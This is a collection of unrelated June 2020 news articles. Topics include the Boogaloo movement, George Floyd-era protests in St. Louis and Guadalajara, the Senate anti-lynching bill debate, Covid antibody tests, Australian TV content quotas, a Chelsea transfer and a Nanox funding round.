In April, armed demonstrators passed out Liberty or Boogaloo fliers at a statehouse protest in Concord, New Hampshire.

A May 9 demonstration in Raleigh, North Carolina, promoted by a Facebook group called Blue Igloo  a derivation of the term  led to a police investigation of a confrontation between an armed protester and a couple pushing a stroller.

Further, it is unknown whether the Boogaloo movement has a unifying ideology. Purported members have been seen at protests bearing signs saying The Boogaloo stands with George Floyd. While many far-right groups have a supremacist element, it isnt always the case.

Care must be taken when evaluating boogaloo-as-civil-war references, as some people  even those in extremist movements  still use the phrase jokingly, or to mock some of the more fanatical or gung-ho adherents of their own movement, the ADL wrote.
California Department of Education

News Release

California Department of Education

News Release

State Superintendent Tony Thurmond Announces Multi-Pronged Partnerships, Initiatives to Address Implicit Bias and Racism

SACRAMENTOState Superintendent of Public Instruction Tony Thurmond on Thursday announced that the California Department of Education (CDE) has received a $500,000 philanthropic grant to train all of CDEs 2,500 employees in implicit bias and to create guidance for school districts across California to help them accelerate their efforts to dismantle systemic racism in education.

During a virtual media check-in earlier today, Thurmond said this initiative is an important step to addressing the persistent inequities students of color have facedincluding academic achievement gaps and disproportionate disciplinefor decades in public education.

Although this work was underway before the tragic deaths of George Floyd and others sparked the widespread unrest we see across the country, we know that we must accelerate the work of disrupting institutional racism with a sense of urgency, said Thurmond. We are grateful to be the recipient of such a large statewide investment that will support educators closing achievement gaps and securing racial justice for our students.

The $500,000 grant was awarded by the S. D. Bechtel, Jr. Foundation and secured through a partnership with the Californians Dedicated to Education Foundation (CDEF), the philanthropic arm of CDE. The grant will fund the California Implicit Bias Training Initiative, a multi-pronged, months-long plan to partner with implicit bias and racial justice experts who will not only train CDE employees across the state, but also help CDE develop resources and guidance for schools to infuse implicit bias training into existing professional development.

During his remarks, State Superintendent Thurmond also called for greater mental health and counseling support for students who are experiencing trauma. The emotional distress of processing the impacts of the pandemic and the tragic events and unrest sweeping across the country are having a cumulative impact on all students, especially black and brown students who are more likely to experience chronic trauma that impacts their academic achievement.

The State Superintendent invited two experts to join Thursdays remarks: Dr. Daniel Lee, President-Elect for the New Jersey Psychological Association and Principal Consultant of N-PSY-T Psychological Services, who is developing a model for schools to address the impacts of implicit bias on student achievement, and Christine Stoner-Mertz, CEO of the California Alliance of Child and Family Services. Both spoke to the role that access to quality mental health resources can aid students during this time. During remarks, both offered insight into how they will be working with the State Superintendent as he and CDE lead next steps in this effort.

An archived broadcast of the full media check-in can be viewed on the CDEs Facebook page .

# # # #

Tony Thurmond  State Superintendent of Public Instruction

Communications Division, Room 5602, 916-319-0818, Fax 916-319-0100

Last Reviewed: Friday, December 10, 2021
A new system for electing member of the Napa school board has gained another stamp of approval from county educators.

The Napa County Office of Education last week voted in support of an area-based voting system to choose board members for the Napa Valley Unified School District, which operates public schools in Napa and American Canyon. The package, which NVUSDs board approved last month, includes a revamped election map that defines seven areas where trustees must live in order to represent them  and where residents, starting in November, will cast ballots only for candidates living there.

All six members present at NCOEs online board meeting voted in favor of the voting plan, with Steve Orndorf absent, according to Superintendent Barbara Nemko.

The proposal replaces NVUSDs current at-large voting system in which trustees must live in a specific area, but can be selected by voters from all parts of the district. It also redraws boundaries for the voting areas to produce as close a population balance among districts as possible, with about 16,506 residents in each.

NVUSD moved to retool its voting map and rulebook after a January petition by the Walnut Creek lawyer Scott Rafferty and the Napa County Progressive Alliance, who argued that at-large voting dilutes the influence of minority groups and so violates California election law. A similar challenge by Rafferty and his allies to Napas system of electing City Council members also will lead to district-based elections in November.

The school boards new election system passed over the objections of Rafferty, who with the alliance criticized the new voting map for watering down the voting power of Filipino-Americans in American Canyon.

While the District is now vulnerable to a lawsuit, federal cases are expensive and lengthy, Rafferty said in a news release Friday from the Napa County Progressive Alliance. We showed we can already create a 47.5% Filipino trustee area. We feel confident that after the census and during redistricting next year, the Filipino community in American Canyon will get the unified trustee area they deserve.

The Alliance had called for most of the city of 20,000 people to be included in a single voting area, but trustees instead chose an alternative splitting American Canyon between two zones with Highway 29 forming much of the boundary between them.

You can reach Howard Yune at 707-256-2214 or hyune@napanews.com

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Kilkenny-based life sciences company MyBio has signed an exclusive agreement with German manufacturer MoLab for the Irish distribution of its Covid-19 antibody diagnostic test kit.

According to MyBio, it is the most accurate antibody test of its kind available across Ireland.

The kit provides nearly perfect specificity in terms of measuring how likely a person is to having the antibodies to Sars-CoV-2 in their system. It retails at 196 for a box of 10 and provides results within 10 minutes.

The company believes the test can play a crucial role as the lockdown eases and more people return to work.

"If offered by their employer, this test kit will provide an important and simple pre-screening service for employees in Ireland, which will prove an invaluable tool in the fight against Covid-19 in the coming months as people return to work and desire to know if they have been exposed," said Dan Dilks, head of sales and business development at MyBio.

As a result of the partnership, MyBio will provide marketing, sales, customer service and technical support for the sale of MoLab's Covid-19 antibody diagnostic kit.

The kit is currently being sold in the UK and across the European Union.

Meanwhile, Hvivo, a subsidiary of Dublin-listed Open Orphan, has launched its antibody testing service.

The antibody tests offer "best in class" Covid-19 antibody testing performance, according to a statement from Open Orphan.

The Hvivo Covid Clear Test will be offered to large employer groups and channel partners including GP networks, nursing services, health clinics and private hospitals.

Samples will be tested in the company's London laboratory with results returned within 48 hours.

Last month the pharma services company Open Orphan said it has raised 12m (13.4m) via an oversubscribed share placing.

The Europe-focused firm specialises in rare disease and so-called orphan drugs.
Uttar Pradesh Chief Minister Yogi Adityanath on Friday launched a sharp counter attack on Congress leader Rahul Gandhi and sister Priyanka for their criticism of the governments handling of the coronavirus pandemic, asserting that if the country listens to them on Covid-19, India will turn into Italy. Let India be India, the chief minister said in an interview with Hindustan editor-in-chief Shashi Shekhar.

Yogi Adtiyanaths barb was a reference to a spike in Covid-19 cases in Italy in the early days of the pandemic. Italy was the first European country to be hit hard by coronavirus and was widely seen to have been caught off-guard. According to the World Health Organisations situation report, Italy has reported 2.33 lakh Covid-19 cases and over 33,000 deaths.

Watch | Rahul Gandhi & his family will turn India into Italy: Yogi Adityanath

Also read| An ugly joke: CM Yogi Adityanath on Congress bus offer to ferry migrants

India, in contrast, has reported 2.26 lakh cases and 6,348 deaths.

In recent weeks, Rahul Gandhi has been hurling darts at the Bharatiya Janata Party governments at the Centre as well as Uttar Pradesh and has questioned the impact of the lockdown ordered by Prime Minister Narendra Modi on March 24 to defeat the virus. The lockdown did slow down the virus but it also brought the economy to a grinding halt and is expected to increase joblessness.

Yogi Adityanath blamed Congress leaders for most problems facing the country, saying the party which was in power for decades after independence did not have an agenda for the country or a vision for the people.

There was just one testing laboratory in the country when the first case of coronvirus was detected in the country. Today there are nearly 650 and about 2 lakh tests are being conducted every day. This is PM Modis vision, he said. In Uttar Pradesh, the government has deployed nearly 1 lakh medical screening teams for containment zones and screening of migrant workers who returned to the state.

The chief minister also described the criticism of the governments handling of the pandemic as an effort to score political points, asserting that people doing politics in times of coronavirus are insulting people and weakening the fight against the disease.

But you dont let them contribute, he was asked, a reference to the back-and-forth over the Congress general secretary Priyanka Gandhis offer to send across buses to help poor migrant workers reach home.

It is in their genes to lie, the chief minister said.

Yogi Adityanath said the government had accepted their offer. But the Congress didnt send the buses, he said, adding that a large number of vehicles listed as buses by the Congress did not have their documents intact. There were buses without registration documents, valid insurance or both. Some of the vehicles mentioned by the Congress werent buses, or even three-wheelers.
Authorities in St. Louis have released new CCTV footage showing seven persons of interest in the murder of a retired police captain who was shot dead by looters who had broken into his friend's pawn shop.

David Dorn, 77, was found dead on the sidewalk in front of Lee's Pawn & Jewelry in the early hours of Tuesday morning during civil unrest sparked by the death of George Floyd in Minneapolis.

On Friday, the St. Louis Police Department released surveillance footage taken inside the store shortly after 2.30am which showed seven men enter through the pawn shop's front door appearing to look for items to steal.

In the vision, the store looks to have already been completely ransacked, with windows shattered, display cabinets emptied and trash discarded on the floor.

One of the persons of interest can be seen brandishing a gun, while another looks as if he may have a cut on his left hand.

Retired St Louis police captain David Dorn, pictured, was shot dead Tuesday by looters who had broken into his friend's pawn shop, officials said

On Friday, the St. Louis Police Department released surveillance footage taken inside the store shortly after 2.30am, in which seven persons of interests are seen entering through the pawn shop's front door

The St. Louis PD posted the video on Twitter, where they also stated they were offering a reward for those who had information on the men.

'You want to remain anonymous & are interested in a reward (up to 45k) contact St. Louis CrimeStoppers,' the message read.

Some followers replied saying they would donate money in order to increase the reward amount.

Tuesday's shooting of Dorn was apparently posted on Facebook Live, but the video has since been taken down.

A second Facebook video showed a man walking up to Dorn as he lay dying. The man could be heard pleading with him to stay alive as he lay in a pool of his blood.

The St. Louis PD posted the video on Twitter, where they also stated they were offering a reward for those who had information on the men

The store looks to have already been completely ransacked by the time the group arrived on the scene, with windows shattered, display cabinets emptied and trash discarded on the floor.

President Trump tweeted his own tribute Tuesday evening, writing: 'Our highest respect to the family of David Dorn, a Great Police Captain from St. Louis, who was viciously shot and killed by despicable looters last night. We honor our police officers, perhaps more than ever before. Thank you!'

Dorn was a friend of the pawn shop's owner and frequently checked on the business when alarms went off, his wife, Ann Marie Dorn, told the St. Louis Post-Dispatch.

The retired captain had served 38 years on the St. Louis police force before retiring in October 2007. He then became chief of Moline Acres, a small town north of St. Louis.

The Ethical Society of Police, which represents black officers in St. Louis, said in a news release that Dorn was 'the type of brother that would've given his life to save them if he had to'.

One witness to the Facebook Live video said the incident had 'sickened' him.

Marquaello Futrell wrote: 'The man just was shot and killed outside of Lee's Pawn and Jewelry has me sick to my stomach.'

Police investigate the scene of a shooting at Lee's Pawn & Jewelry in St. Louis, Tuesday

He suggested eyewitnesses did not help Dorn after he was shot, adding: 'It's one thing to be a victim of a robbery/assault but to lie in you own blood pleading for help and no help comes other than people standing around on FB Live recording his death. All over social media. I'm upset and can't sleep!'

President Trump tweeted his own tribute Tuesday evening, writing: 'Our highest respect to the family of David Dorn, a Great Police Captain from St. Louis, who was viciously shot and killed by despicable looters last night. We honor our police officers, perhaps more than ever before. Thank you!'

Dorn is one of 13 people have been killed while being caught up in George Floyd protests which have taken place across the country over the past 10 days.

Other victims include Javar Harrell, 21, who was shot while sitting in his car amid protests in Detroit last Friday, and David McAtee, 53, who was killed by police in Louisville on Monday.
Seven, Nine and 10 have all screened more local Drama then is required of them in 2019 -but Nine has only achieved its quota through New Zealand content.

Seven screened the most Drama followed by 10 then Nine. Seven also screened the most Local Content, Documentary and just pipped its rivals in Childrens Drama.

While Seven had around 11% of their Drama from NZ, and 10 had around 5%, Nine had nearly 50%, including The Brokenwood Mysteries (pictured top), Westside, The Bad Seed, Dear Murderer -all screened on 9GEM. Nine also held off Doctor Doctor in 2019, screening only Bad Mothers and Seachange as local series on its primary channel.

It is a strategy, allowed under the Australia-NZ Economic Trade Agreement, which has employed for over a decade but which continues to frustrate Screen Producers Australia.

SPA CEO Matthew Deaner stated, SPA has been calling on the Government to close the NZ content loophole for several years. The ACMAs latest results merely confirm the loopholes damaging impact and tell a story of forgone Australian jobs and investment and missed opportunities for audiences to experience our nations own rich and distinctive stories.

A lack of foresight when negotiating a trade deal with New Zealand in the 1980s is now having devastating consequences for local small businesses 40 years later and makes a mockery of the content standards by promoting another countrys cultural identity over our own.

The results come in the final week of consultation on the Governments screen sector reform options paper and highlight the need for the loophole to be addressed as part of the reform process.

Local Content:

All networks are required to broadcast a minimum of 55% in local content on their primary channel from 6am  midnight.

Seven broadcast the most, at up to 79.78% for HSV7 Melbourne.

Nine was next, at up to 75.88% for TCN9 Sydney.

10 was third at up to 70.03% for TVQ Brisbane.

Drama:

Networks are required to screen 250 points in first release Australian Drama across their network (primary + multichannels). A points system is applied to Serial (1 point per hr), Series (2.5), Feature Film (2.5), Miniseries (4) and Telemovie (4).

Seven screened the most at 332.86 points, for TVW Perth.

10 was next at up to 315.08 points across all its licensees.

Nine was third with 274.83 points equally at both TCN Sydney and GTV Melbourne.

Documentary:

Networks are required to screen 20 hours of first release Australian Documentary across their network.

Seven screened the most at 81.70 hours at TVW Perth.

Nine was next with 43.03 hours at QTQ Brisbane licensees.

10 was third with 40.17 hours equally at all licensees.

Childrens:

Networks are required to screen 130 hours of first release Australian childrens programs across their network.

Nine screened the most at 130.5 hours.

Seven and 10 both screened 130 hours each.

Networks are also required to screen 25 hours of first release Australian childrens Drama across their network.

Seven screened 33.50 hours.

Nine screened 32.50 hours.

10 screened 32.00 hours.

All networks equally screened 130.50 hours in Australian preschool programs, just above the required 130 hours.

NZ Content

Drama:

Nine screened 49.88% of its total Drama from NZ.

Seven screened up to 10.57% of its total Drama from NZ.

10 screened 5.42% of its total Drama from NZ.

Documentary:

Seven screened 6.42% of its total Documentary from NZ.

Nine screened 0% of its total Documentary from NZ.

10 screened 0% of its total Documentary from NZ.

In April due to COVID-19 the government suspended local Drama, Documentary & Childrens quotas for the rest of the year.
Antonio Rudiger reportedly helped persuade Timo Werner to join Chelsea as the Premier League side edge closer to pulling off a major coup in the transfer market.

On Thursday night, reports emerged that the RB Leipzig star had agreed a deal to join the west London club next season in a 53million move, seeing off strong contenders Liverpool in landing the 24-year-old.

And fans believe that Rudiger, who plays alongside the striker for their country, Germany, may have had a helping hand in securing the deal.

Antonio Rudiger reportedly played a 'key role' in luring Timo Werner to Stamford Bridge

The RB Leipzig star has agreed to join Chelsea in a 53million move this summer

According to Bild (via Metro), those rumours seem to be true as the German outlet reports that Rudiger played a 'key role' in convincing Werner to join Chelsea instead of Liverpool.

The publication claims that the defender followed Werner's decision-making closely and often gave him glowing reviews of life in west London.

Rudiger and Werner have a strong friendship, having played in the youth set up for Germany as well as coming through together at Stuttgart.

The 24-year-old had look set to join Liverpool before the drastic move to the west London club

Chelsea have reportedly promised to triple Werner's current wage, making him the club's second-highest paid player on 200,000 per week.

He is also likely to see far more game time at Stamford Bridge than what he is expected to have got at Anfield, with Roberto Firmino holding down the centre forward position for Jurgen Klopp's side.

Werner has a 53m release clause but the Reds have been put off given the financial uncertainty caused by the coronavirus crisis.

Werner's move to Stamford Bridge would be a major coup for Frank Lampard's young side

The clause has to be triggered by June 15 and despite Liverpool previously being considered front-runners and Werner's repeated praise of Jurgen Klopp's team, he looks set to join their Premier League rivals.

There is still room for Liverpool to come in for Werner but at present they are unwilling to match the offer.

Werner's agent Karlheinz Forster is understood to have held advanced discussions on Thursday and the finer details of the deal are expected to be ironed out with Chelsea by the start of next week.

It is understood that Jurgen Klopp made a video call to Werner a couple of months ago but the encouraging noises coming from Merseyside have since stopped.
Felicia Lee-Sexton estimates she will be a month or two behind on rent payments for her gym until at least next year.

The Womens Health and Fitness Center in Stafford shut its doors in late March, due to the coronavirus pandemic. Lee-Sexton received no Paycheck Protection Program loan or government stimulus to keep the business afloat or her trainers on the payroll.

It makes me sad as an African-American entrepreneur of a small business that all the money went to large corporations, which are the last ones that needed money, Lee-Sexton said. I am still reeling from trying to play catch-up; by Gods grace, my landlord is working with me.

On HoustonChronicle.com: Felicia Lee-Sexton builds new life, body years after getting sober

This year has been one tragedy after another, she said. First with the coronavirus pandemic and subsequent lockdown, followed by massive unemployment and now with the murder of George Floyd, a native Houstonian, which has sparked days of Black Lives Matter rallies and protests against police brutality across the country.

The women-only gym isnt just about physical fitness. There are weekly Bible studies, monthly therapy sessions with a licensed professional counselor and daily check-ins in a members-only Facebook group and Whatsapp.

Lee-Sexton was reluctant to start streaming workouts on Zoom because of the loss of human contact. But she now understands there are people who may have always wanted to work out but couldnt for a number of reasons, so she will continue to livestream twice a week even when gyms are back to full capacity.

Lee-Sexton will celebrate 27 years of sobrietyon June 16. To her, bodies are temples and require physical strength, as well as mental and spiritual care.

I think we are a praying gym, she said. Its one thing on top of another thing, but we cant lose focus on who we are, what we stand for and keeping ourselves fit mentally and physically.

Renew Houston: Get the latest wellness news delivered to your inbox

Lee-Sexton is one of several Black gym owners in the Houston area. Many are struggling post-lockdown with lost membership fees, but are still offering socially-distant training sessions by appointment:

The Womens Health and Fitness Center. Felicia Lee-Sexton, owner. 13645 Murphy, Suite 227, Stafford

Inner Me Studios. Nicole Phillips, owner. 2206 Emancipation

Hardcore Fitness. Wayne and Claire Davis, owners. 3801 Kirby, Suite 210

Feasts with Beasts. Marvin Lemond and Chris Caldwell, owners. 3609 Emancipation

Fenixx Fitness. Antanique Landry, owner. 5325 Glenmont, Suite C

Yoga House. Jill Minard, owner. 1815 Cleburne, Suite C

Infinity Fitness Solutions. Kevin Johnson, owner. 311 S. Houston, Suite E, Humble

The Body Shop HTX. Ian Buchanan, owner. 2002 Oakdale

The ONE Fitness. Deon Johnson, owner. 6467 Westheimer

The Toning Zone, Cherrise Traylor, owner, 1937 Lexington

Reggie C Fitness. Reggie Collier, owner. 9331 Stella Link

Mean Green Training Center. Chris Green, owner. 6400 Southwest Freeway, Suite G

Dominics Ultimate Pilates Studio. Dominic Berry, owner. 821 Frostway

Glory Fitness. Christopher Boykins, owner. 5110 Ashbrook, Suite C

O Athletik. James Cooper, owner. 767 North Shepherd

Work of Art Fitness Studio. Arthur Moore, owner. 8575 Mosley, Suite 16

F45 Training Pearland West. Terrick Smith, owner. 3695 Kirby, Suite 107, Pearland

Houston Fitness Guru. Earnest Rhone, owner. 6060 South Loop East, Suite 208

Bounce Fit Club. LaRobin Starks, owner. 2200 Farm-to-Market Road 1092, Suite G, Missouri City

P3 Specialized Performance. Aaron Robinson and Otis Williams, owners. 2626 West Sam Houston Parkway North

Misfit Strength and Conditioning. Byron Godfrey, owner. 5302 Cornish

ESA, Duane Fraser, owner, 6626 Supple Row

Clockwork CrossFit. Sid Steen, owner. 13139 West Lake Houston

Redzone Training Center. Jerald Redmon, owner. 6125 Cypress Creek Parkway

julie.garcia@chron.com

Twitter.com/reporterjulie
WASHINGTON  An anti-lynching bill that Sen. Rand Paul has held up in the Senate for several months led to a heated and passionate battle on the Senate floor Thursday, pitting the Kentucky Republican at odds with two of the Senate's three black members over changes to the bipartisan legislation.

The emotional debate centered on the Emmett Till Anti-lynching Act, which passed the House in a bipartisan 410-4 vote in February and would make lynching a federal crime. Paul has put forth changes to bill he argues would prevent those involved in minor altercations from being charged with lynching and receiving a 10-year sentence. The bill is named in memory of Emmett Till, a 14-year-old black teenager who was murdered in Mississippi in 1955 and whose death was a catalyst for the civil rights movement.

Paul offered changes to the measure Thursday afternoon, which was met with blunt and emotional opposition from Sens. Cory Booker, D-N.J., and Kamala Harris, D-Calif., two of the chamber's three black members, leaving the measure's future unclear.

"I seek to amend this legislation, not because I take it or lynching lightly, but because I take it seriously and this legislation does not," Paul said on the Senate floor, adding that the bill "would cheapen the meaning of lynching" by defining it so broadly that it would include bruises and cuts. He chronicled the history of lynchings in the USA and his issues with the bill.

Paul's proposed changes were blocked by Harris and Booker who offered a stern and emotional objection, launching a debate that coincided with the memorial services for George Floyd, an unarmed black man who died after a Minneapolis police officer held his knee on the 46-year-old's neck for several minutes. The footage of his death spurred worldwide protests, riots in several cities and renewed calls to stop racial injustice and police brutality.

More: America has a history of lynching, but it's not a federal crime. The House just voted to change that

Story continues

More: Rand Paul holds up federal anti-lynching legislation over desired changes

"That we would not be taking the issue of lynching seriously is an insult, an insult to Sen. Booker, an insult to Sen. (Tim) Scott and myself," Harris said, listing the only three black senators that serve in the chamber, each of whom have been leaders on this issue. She called Paul's amendment and his comments "ridiculous" and said the changes he is pushing for are things that "would weaken" the bill and put a "greater burden on victims of lynching than is currently required under federal hate crime laws."

"There is no reason for this," Harris said. "There is no reason other than cruel and deliberate obstruction on a day of mourning."

Booker joined Harris in objecting, offering an emotional speech that nearly brought him to tears several times. He pleaded for Paul to allow this bill to pass as is, arguing that it will not only help embolden federal laws but it would also send a message and "give hope to this country."

"I do not question the sincerity of his convictions. I have had too many conversations with him to question his heart. But I am so raw today," Booker said, his voice cracking as he looked over at Paul. "Of all days that we're doing this right now, having this discussion, when God, if this bill passed today, what that would mean for America."

Booker chronicled going to the Legacy Museum in Montgomery, Alabama, and watching black families cry as they saw stories about pregnant black women lynched and their babies ripped out of them. He added "I do not need my colleague, the senator from Kentucky, to tell me about one lynching in this country."

"I don't mean to be emotional," Booker said. "I'm raw this week."

This undated photo shows Emmett Louis Till, a 14-year-old black Chicago boy, who was kidnapped, tortured and murdered in 1955 after he allegedly whistled at a white woman in Mississippi.

More: Trump slammed by lawmakers after he called impeachment inquiry a 'lynching'

WATCH: Nation's first lynching memorial confronts legacy of racial terror

After the emotional speeches, Paul said he was only trying to prevent "unintended consequences" to the bill, noting his work on criminal justice reforms to prevent more people from being incarcerated unfairly. He noted that he's been trying to come to a solution on his issues with the bill and is working with Booker's office.

"You think I'm getting any good publicity out of this? No," Paul said bluntly. "I will be excoriated by simple-minded people on the internet who think somehow I don't like Emmett Till or appreciate the history and the memory of Emmett Till. I'll be lectured to by everybody that I've got no right to have an opinion on any of these things. I should be quiet. But we can't just not read our bills."

Paul's amendment failing on Thursday and his continued opposition means the bill will continue to sit in the Senate until Paul either concedes or changes are made to the legislation. A vote on the legislation has not been scheduled.

The Senate unanimously passed a bill that would accomplish the same goal, Justice for Victims of Lynching Act, by a voice vote last year.

One of the authors of that legislation, Sen. Tim Scott, R-South Carolina, told Politico that the quickest way to make lynching a federal hate crime is for the House to take up the Senate's bill, pass it and send it to President Donald Trump for his signature.

Contributing: Deborah Barfield Berry, USA TODAY, and Ben Tobin, of the Louisville Courier Journal

This article originally appeared on USA TODAY: Rand Paul debates Cory Booker, Kamala Harris over anti-lynching bill
The Rev. Louis P. Sheldon, a forceful opponent of gay rights who had the ear of prominent political figures in the 1980s and 90s and used his platform to lobby against what he called the homosexual agenda, died on May 29 in Southern California. He was 85.

The Associated Press said his son-in-law, James Lafferty, attributed his death to an unspecified longstanding condition.

Some 40 years ago, Mr. Sheldon, aided by Herb Leo, a businessman in Anaheim, Calif., formed the Traditional Values Coalition, a network of conservative churches that campaigned against the gay rights movement as it was gaining steam.

Mr. Sheldon left his pastorate at the Trinity Church of Anaheim to become a full-time representative of the coalition, which started out working on issues in California, then established an office in Washington and became a national presence.
The surprise May 25 wedding De-Shazo Wilkinson put together for his fiancee, Jacarra Wilson, was brought on by an emotional gut punch.

After postponing their wedding for a second time in late March because of the coronavirus  the first, last fall, was caused by the shutdown of the venue they had chosen in Orlando, Fla.  Ms. Wilson had said the unthinkable. She was like, This is strike two. What if it just wasnt meant to be? said Mr. Wilkinson, 32, an assistant principal at KIPP Impact Middle School in Jacksonville, Fla. My heart sank. I knew I had to figure out something.

Ms. Wilson, 29, and Mr. Wilkinson met as students at the University of Central Florida in Orlando in 2007. Both were trying out for Rukus, a hip-hop dance team, and both made it. They began dating. By January 2010, a few months before Mr. Wilkinson graduated, they had gotten serious. But then Mr. Wilkinson landed a teaching job in Lake City, Fla., while Ms. Wilson had three years to go before finishing her degree.

In 2014, when he moved to Jacksonville for another teaching job, Ms. Wilson was busy establishing herself as a hair and makeup artist in the Orlando area. Long-distance dating was by then familiar. But three years later, enough was enough. Its about 162 miles between Orlando and Jacksonville, Ms. Wilson said. Finally I said to myself, What are we doing? I can do hair and makeup anywhere. She and Mr. Wilkinson moved into a new apartment together in Jacksonville in 2018. On Jan. 30, 2019, he proposed.
Source: Xinhua| 2020-06-05 18:26:19|Editor: huaxia

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GABORONE, June 5 (Xinhua) -- The Southern African Development Community (SADC) Executive Secretary, Stergomena Lawrence Tax has challenged citizens of the bloc to take collective action in preventing biodiversity loss and unlock the wealth in the region's biological resources.

"Let us sustainably use biodiversity through value addition and bio-trade to reap the benefits of nature, while preserving it for the present and future generations," said Tax in a statement issued on Friday to commemorate this year's World Environment Day.

The Southern African Development Community is an inter-governmental organization headquartered in Gaborone, Botswana.

She said the region needs to be the inseparable part of nature.

"The water we drink, the air we breathe and the soil we use for agricultural production are just a few examples of the benefits that we derive from nature," said Tax, adding that the benefits of nature should motivate people to take action towards the restoration of biodiversity.

This year's World Environment Day is being celebrated under the theme: "Time for Nature" and "Biodiversity".

Meanwhile she highlighted that SADC has adopted instruments that reflect its resolve and commitment to biodiversity conservation such SADC Protocol on Environmental Management for Sustainable Development, and SADC Regional Biodiversity Strategy. Enditem
Protests have erupted in Mexico against police brutality in the second-largest city, Guadalajara, calling for authorities to be held accountable for the death in custody of a local man allegedly arrested for not wearing a face mask.

During Thursday's unrest in the state capital of Jalisco, police cars were set on fire and buildings including the government palace vandalised. Police responded with force, beating demonstrators with batons and firing tear gas.

Demonstrations began after footage circulated on social media showing a young man, identified as Giovanni Lopez, being detained by police on 4 May. Bystanders can be heard saying the police were arresting him for not using a face mask.

Lopez, a construction worker, died in custody, a police statement said. His relatives later found his body at a hospital in the city, with a bullet wound on his foot. An autopsy found that he had died from a head injury.

Gael Garcia Bernal, a Mexican actor, was among those who expressed outrage at the polices actions on social media.

In a Twitter post, he wrote Giovanni didnt die, the police killed him six times, followed by the hashtag #JusticiaParaGiovanni.

Enrique Alfaro, the governor of the state of Jalisco, denied that the man shown in the video had been detained for not using a face mask, but did not offer further comments on the incident.

He said that during the protests on Thursday six police officers had been injured, including one who was set on fire, and 22 men and 2 women were arrested.

Demonstrators attack a police vehicle during a protest in Guadalajara (AFP via Getty Images)

Mexicos deputy minister for human rights has asked for case files from authorities in Jalisco as well as Baja California, where a similar incident is thought to have taken place in February.

Jalisco enforced strict measures to stem the spread of coronavirus, making the wearing of face masks mandatory.

The protests against police brutality in Mexico came after more than a week of worldwide demonstrations against the killing of George Floyd by police in Minneapolis, US.

Additional reporting from Reuters
The man behind the song 'Ireland's Call' - famed musician and songwriter Phil Coulter has praised Drogheda's postal workers on their unique version of the song.

The crew put a video together and changed the words of the song slightly as part of a fundraiser for the frontline staff in Our Lady of Lourdes Hospital.

The have raised in the region of 22,000 so far for the cause.

Phil appeared on the Six O'Clock Show last week and during the conversation, praised the Drogheda workers.

He said he didn't know what to expect when they asked for permission to record a version of it.

'But it was raw and honest,' he stated.

He has been in touch with Tom Maguire from the local An Post branch and Tom says he's a gentlman. 'I have never met him, but he has been so supportive. He said he had heard all the bad things about Drogheda in recent months and was delighted to support this. It shows the great community in spirit and how highly the people regard the staff in our hospital,' Tom stated.

Donations are still coming in and it is hoped to download the song for purchase. He said the workers have been wonderful in all of this.
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While the government delays, millions of pounds of potatoes are sitting in storage and starting to rot. Early last month, the government announced a $50-million Surplus Food Purchase Program intended to alleviate the impact of COVID-19 on farmers. However, there has been no action from the government  and few words from Minister of Agriculture and Agri-Food Minister Marie-Claude Bibeau  since the announcement.

"We need to finally settle with the province and federal government so that we can dispose of these potatoes now," says Matt Hemphill, Executive Director of Potatoes New Brunswick. "That could mean turning them to cattle feed or creating more freezer capacity to get them processed into french fries or donating to food banks. But the reality is we need help and support to do that, and the government has yet to make any tangible move in the right direction."

The ripple effect of the COVID-19 economic shut down has hit Canadian farms hard. The closure of restaurants and bars across the country has meant a drastic drop in the number of people ordering plates of french fries. For potato farmers, this resulted in the equivalent of 700 transport truckloads of potatoes in surplus in New Brunswick alone.

Canadian potato farmers have also grown millions of pounds of seed potatoes for this year that have gone unused, as dropping demand for potatoes means fewer acres were planted. Seed potatoes take years to cultivate, but are now starting to sprout in storages which makes them unusable.

Potatoes are one of Canada's leading agricultural commodities, accounting for a third of all vegetable farm cash receipts in the country. Canada is also the world's second-largest exporter of French fries (after The Netherlands) and fifth largest seed potato exporter  before the COVID-19 crisis hit, an estimated 70% of all potatoes grown in Canada for processing into frozen foods are shipped to other countries.

"The government needs to remember we are dealing with a perishable crop," says Richard Strang, CEO of Strang's Produce in Malden, NB. "The longer they delay, the greater the risk of spoilage and the increased chance we have to deal with potato blight in addition to the surplus.

"Without government action now, it will devastate a multi-billion industry and all of the jobs  on the farm, in the processing plants and in grocery stores and restaurants  that depend on it."

About Potatoes New Brunswick:

Potatoes New Brunswick is a producer-driven organization, collaborating with industry partners to enhance the value of the New Brunswick potato. It was created in 1979 by federal and provincial legislation as the result of several Royal Commissions and studies on the potato industry. Potatoes New Brunswick also operates a grower-owned disease testing laboratory and research facility in Fredericton. The potato industry alone, through primary, secondary and induced activities (the "potato cluster") generates about $1.3 billion dollars for New Brunswick's economy every year.

SOURCE Potatoes New Brunswick

For further information: Kalvin Reid, Senior Consultant, Enterprise, Email: [email protected], Mobile: 289-241-7936
A lot of the attention in medical technology today has been focused on tools and innovations that might help the world better fight the COVID-19 global health pandemic. Today comes news of another startup that is taking on some funding for a disruptive innovation that has the potential to make both COVID-19 as well as other kinds of clinical assessments more accessible.

Nanox, a startup out of Israel that has developed a small, low-cost scanning system and "medical screening as a service" to replace the costly and large machines and corresponding software typically used for X-rays, CAT scans, PET scans and other body imaging services, is today announcing that it has raised $20 million from a strategic investor, South Korean carrier SK Telecom.

SK Telecom in turn plans to help distribute physical scanners equipped with Nanox technology as well as resell the pay-per-scan imaging service, branded Nanox.Cloud, and corresponding 5G wireless network capacity to operate them. Nanox currently licenses its tech to big names in the imaging space like FujiFilm, and Foxconn is also manufacturing its donut-shaped Nanox.Arc scanners.

The funding is technically an extension of Nanox's previous round, which was announced earlier this year at $26 million with backing from Foxconn, FujiFilm and more. Nanox says that the full round is now closed off at $51 million, with the company having raised $80 million since launching almost a decade ago, in 2011.

Nanox's valuation is not being publicly disclosed, a but a news report in the Israeli press from December said that one option the startup was considering was an IPO at a $500 million valuation. We understand from sources that the valuation is about $100 million higher now.

The Nanox system is based around proprietary technology related to digital X-rays. Digital radiography is a relatively new area in the world of imaging that relies on digital scans rather than X-ray plates to capture and process images.

Story continues

Nanox says the ARC comes in at 70 kg versus 2,000 kg for the average CT scanner, and production costs are around $10,000 compared to $1-3 million for the CT scanner.

But in addition to being smaller (and thus cheaper) machines with much of the processing of images done in the cloud, the Nanox system, according to CEO and founder Ran Poliakine, can make its images in a tiny fraction of a second, making them significantly safer in terms of radiation exposure compared to existing methods.

